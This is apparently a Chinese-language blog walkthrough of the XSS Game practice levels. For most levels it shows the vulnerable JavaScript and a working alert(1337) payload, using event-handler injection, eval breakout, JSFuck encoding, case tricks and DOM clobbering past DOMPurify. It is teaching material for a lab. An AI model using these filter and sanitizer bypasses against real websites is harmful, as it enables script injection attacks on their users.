XSS GAME靶场

要求用户不参与,触发alert(1337)

目录

[Ma Spaghet!](#Ma Spaghet!)

Jefff

[Ugandan Knuckles](#Ugandan Knuckles)

[Ricardo Milos](#Ricardo Milos)

[Ah That's Hawt](#Ah That's Hawt)

Ligma

Mafia

[Ok, Boomer](#Ok, Boomer)

[Exmaple 1 - Create](#Exmaple 1 - Create)

[Example 2 - Overwrite](#Example 2 - Overwrite)

[Example 3 - Overwrite2](#Example 3 - Overwrite2)

toString


Ma Spaghet!

html 复制代码
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

给somebody传参,如果不传就默认使用Somebody

innerHTML只限制了script标签,除了它其他的触发payload都可以使用

如somebody=<img%20src=1%20οnerrοr=alert(1337)>

Jefff

html 复制代码
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)      //eval 会直接执行字符串中的JS代码
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

因为 eval 会直接执行字符串中的 JS 代码,所以可以直接插入alert(1),但是要把双引号闭合并注释。

即jeff=aa";alert(1)//---------使用//注释后面的双引号

Ugandan Knuckles

html 复制代码
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

这段代码把尖括号过滤了,和上一关一样,可以使用wey=aa" 20οnclick="alert(1337),但是这样需要用户点击输入框才能触发,不符合题目要求

这里可以想到input的一个属性:可任意自动聚焦onfocus,此时还是需要用户参与,所以可以结合autofocus=true使用不需要用户参与:wey=aa" autofocus οnfοcus="alert(1337)

Ricardo Milos

html 复制代码
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

form表单有一个enctyoe属性,默认值是application/x-www-form-urlencoded,在文本类数据的普通表单提交时使用;当文件上传时使用multipart/form-data;调试或特殊需求(极少使用,部分旧浏览器可能不支持)使用text/plain

form表单的action属性定义表单数据提交的目标地址,如果它的值为"#",就提交在当前页面

2s后会自动提交

Ah That's Hawt

html 复制代码
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

这段代码过滤了()、``、/

可以利用编码(),逃出过滤。如果只用urlencode编码(),在进入程序之前就会被解码为(),然后被过滤。

可以将alert(1)先使用HTML实体编码再使用urlencode编码

Ligma

html 复制代码
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

这段代码把字母和数字都过滤了,但是还有符号没过滤,可以使用 JSFuck 编码,它编码之后都是符号。但是JSFuck中的[] 在 URL 中是特殊字符,可能被截断或转义,?&=` 等符号可能干扰参数解析。所以再进行一次urlencode编码。

将alert(1) JSFuck编码后:

复制代码
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]])()

再将JSFuck编码后的内容进行urlencode编码:

复制代码
%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29%28%29

Mafia

html 复制代码
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

可以发现没有过滤alert的大写和小括号。但是eval不识别ALERT。

第一种方法:使用函数转为小写。

复制代码
Function(/ALERT(1337)/.source.toLowerCase())()
/ALERT(1337)/ - 这是一个正则表达式字面量
.source - 获取正则表达式的源字符串(即 "ALERT(1337)")
.toLowerCase() - 将字符串转为小写("alert(1337)")
Function() - 相当于 new Function(),用于动态创建函数
最后的 () - 立即调用这个新创建的函数

第二种方法:

第三种方法:

复制代码
eval(location.hash.substr(1))#alert(1337)
location接口的hash属性是一个字符串,包含一个“#”后跟位置URL的片段标识符。如果URL没有片段标识符,则该属性的值为空字符串""
substr值的substr()方法返回该字符串的一部分,从指定的索引开始截取
substr(1)如果不写,就会把#截进去

Ok, Boomer

html 复制代码
<h2 id="boomer">Ok, Boomer.</h2>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)

DOMPurity是XSS的过滤框架

发现"ok is not defined"

那么ok是哪里来的,因为有DOMPurity框架,所以不可能从innerHTML入手,只能从ok入手,所以ok一点是恶意代码,并且需要有恶意payload触发。

JS有两个定时器,其中一个是setTimeout,在指定延迟的时间内执行一次,setTimeout(ok, 2000)是两秒后执行ok。另一个是setInterval,是循环执行,setInterval(ok,2000)是每两秒执行一次,断开需要setInterval的断开函数。

Dom Clobbering (DOM破坏)就是⼀种将 HTML 代码注⼊⻚⾯中以操纵 DOM 并最终更改⻚⾯上 JavaScript ⾏为的技术。 在⽆法直接 XSS的情况下,我们就可以往 DOM Clobbering 这⽅向考虑了。

接下来找可用的标签来写payload

Exmaple 1 - Create

document.x没有打印出来,document不能根据id把内容打印出来。

即可以看到通过 id 或者 name 属性,可以在document 或者window 对象下创建⼀个对象。

Example 2 - Overwrite

Example 3 - Overwrite2

html 复制代码
<body>
    <form name='body'>
        <img id="appendChild">
    </form>
</body>
<script>
    var div = document.createElement('div');
    document.body.appendChild(div);
    console.log(document.body.appendChild)
</script>

报错说document.body.appendChild is not a function,但是它的确是系统自带的函数,说明我们在form中的内容把原来的替代了。

但是这样取出来的类型是HTMLTmageElement,不方便我们操作,我们就思考有没有一个元素取出来的类型是字符串。

toString

所以我们可以通过以下代码来进⾏fuzz 得到可以通过toString ⽅法将其转换成字符串类型的标签:

两个元素:area和anchor(a),area是空元素,利用不了

所以可以想到这样:

html 复制代码
<a id="ok" href="javascript:alert(1337)">

但是并不行,所以就去查看了官方的内置白名单,javascript并不在其中,白名单有

复制代码
/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i

所以可以使用tel:

html 复制代码
<a id="ok" href="tel:alert(1337)">
相关推荐
沿着路走到底10 分钟前
JS事件循环
java·前端·javascript
子春一228 分钟前
Flutter 2025 可访问性(Accessibility)工程体系:从合规达标到包容设计,打造人人可用的数字产品
前端·javascript·flutter
白兰地空瓶34 分钟前
别再只会调 API 了!LangChain.js 才是前端 AI 工程化的真正起点
前端·langchain
jlspcsdn1 小时前
20251222项目练习
前端·javascript·html
行走的陀螺仪2 小时前
Sass 详细指南
前端·css·rust·sass
爱吃土豆的马铃薯ㅤㅤㅤㅤㅤㅤㅤㅤㅤ2 小时前
React 怎么区分导入的是组件还是函数,或者是对象
前端·react.js·前端框架
LYFlied2 小时前
【每日算法】LeetCode 136. 只出现一次的数字
前端·算法·leetcode·面试·职场和发展
子春一22 小时前
Flutter 2025 国际化与本地化工程体系:从多语言支持到文化适配,打造真正全球化的应用
前端·flutter
QT 小鲜肉2 小时前
【Linux命令大全】001.文件管理之file命令(实操篇)
linux·运维·前端·网络·chrome·笔记
羽沢313 小时前
ECharts 学习
前端·学习·echarts